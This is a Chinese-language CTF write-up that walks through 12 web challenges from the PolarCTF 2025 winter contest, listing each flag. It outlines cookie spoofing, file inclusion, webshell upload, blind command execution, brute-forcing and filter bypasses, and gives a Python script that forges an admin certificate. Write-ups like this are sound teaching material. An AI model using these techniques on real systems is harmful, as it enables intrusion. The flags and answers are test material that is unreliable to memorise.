文章总结: 这篇文章详细解析了PolarCTF2025年冬季个人挑战赛WEB方向的12道题目,涵盖了XSS、cookie欺骗、文件包含、命令执行、证书伪造等多种Web安全漏洞的利用方法。作者通过截图和代码示例展示了每道题目的解题思路和具体步骤,为CTF参赛者提供了实用的解题参考。文章内容实用性强,适合Web安全初学者学习常见漏洞利用技巧。
综合评分: 91
文章分类: CTF,WEB安全,漏洞分析,渗透测试,代码审计
【WP】PolarCTF2025年冬季个人挑战赛WEB方向全题解
原创
F1rstb100d
智佳网络安全
2025年12月14日 21:00
北京
这一期web难度不大,但是有几个脑洞和非预期的,总体水温还行。
【圆满收官】PolarCTF网络安全2025冬季个人挑战赛获奖名单已公布!快来看看吧!
- 来个弹窗2.0
提交
flag{0735987a1391de965a0717fc7c4f6a1a}
- help
第一关答案
第二关答案
第三关答案
flag{wo_ai_gua_zi}
- cookie欺骗2.0
登录发现设置了两个cookie
而hfre1刚好是user1 ROT13之后的结果
故构造请求
flag{80424ffd15b0b051203d05b47b7c8637}
- uii
访问i.php
flag:{23dhw38wr98034dfz}
- 狗黑子的跳转
修改请求方法
很明显的文件包含,读文件
会给文件重命名
上传一句话木马
访问更新后的一句话木马路径即可
flag{06d22add0cf74c46feffe95e7f8}
- aa
扫目录发现i.php
运行得到flag{6547caf1a3df25}
- 不抽象的狗黑子
遍历参数
访问321
没有回显的rce
flag{31b657d6f6cb8a63b8d06e1682}
- PolarShop
审计js,伪造余额
购买商品3
下载shop_bill.txt作为密码字典
扫目录发现/admin.php
暴力破解得到账号Squirtle和密码5qu1rtle
登录成功之后审计js,修改cookie,获取flag
flag{d104c607a29d48eb99f2eece12281a7f}
- 金币大挑战
抓包持续重放增加金币
打开forum_polarCTF.php
下载压缩包,暴力破解
得到Squirtle1170
猜测是后门的连接密码
flag{a9ba1f50c526df75b34bad53db1564c0}
- 论坛
扫目录发现存在forum.php
js中发现[email protected]
flag{910f770a0ad033b4d028dc14a6f03ff8}
- polarflag
运行一下得到提示the_username_is_polar
MD5校验使用数组绕过,命令执行使用PATH绕过/过滤,以及$@绕过关键字过滤
flag{polarctf1314inwebgame}
- 证书
先随便注册一个,下载证书文件
登陆后发现提示,使用固定密钥在客服聊天中触发机器人回复
扫目录发现flag.txt,里面都是随机的字符串
把这些逐条丢给在线客服,发现f6b362e635a45342fe6fb9451250b9b8触发了key的回显
套轮子生成admin的证书
import jsonimport base64import datetimefrom cryptography.hazmat.primitives import serialization, hashesfrom cryptography.hazmat.primitives.asymmetric import rsa, paddingfrom cryptography.hazmat.backends import default_backend
def generate_validation_tag(username, role): validation_string = f"{username}|{role}" data = validation_string.encode('utf-8') standard_encoded = base64.b64encode(data).decode('ascii') STANDARD = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" CUSTOM = "w6pnYgS41IX+TlWs3or7vcDMBRqzudi9P5GmCh/bN8ytZAjeUax2HLQJE0KVFkfO" translation_table = str.maketrans(STANDARD, CUSTOM) return standard_encoded.translate(translation_table)
def generate_key_pair(): private_key = rsa.generate_private_key(public_exponent=65537,key_size=2048,backend=default_backend()) public_key = private_key.public_key() private_pem = private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8,encryption_algorithm=serialization.NoEncryption()).decode('utf-8') public_pem = public_key.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo).decode('utf-8') return private_pem, public_pem
username = "admin"private_key, public_key = generate_key_pair()cert_data = { 'username': username, 'email': '[email protected]', 'phone': '10000000000', 'role': 'admin', 'create_at': datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"), 'expires_at': (datetime.datetime.now()+datetime.timedelta(days=365)).strftime("%Y-%m-%d %H:%M:%S"), 'public_key': public_key, 'validation_tag': generate_validation_tag(username, 'admin')}cert_string = json.dumps(cert_data, ensure_ascii=False, separators=(',',':'))private_key_obj = serialization.load_pem_private_key(private_key.encode('utf-8'),password=None,backend=default_backend())signature = private_key_obj.sign(cert_string.encode('utf-8'),padding.PKCS1v15(),hashes.SHA256())forged_cert = { 'version': '2.1', 'data': cert_data, 'signature': base64.b64encode(signature).decode('utf-8'), 'algorithm': 'SHA256'}with open('admin_cert.cert', 'w', encoding='utf-8') as f: json.dump(forged_cert, f, indent=2, ensure_ascii=True)
使用新的证书成功登录admin账号
flag{22c26b2705eebdd0e14ba5b8413c4b25}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:智佳网络安全 F1rstb100d《【WP】PolarCTF2025年冬季个人挑战赛WEB方向全题解》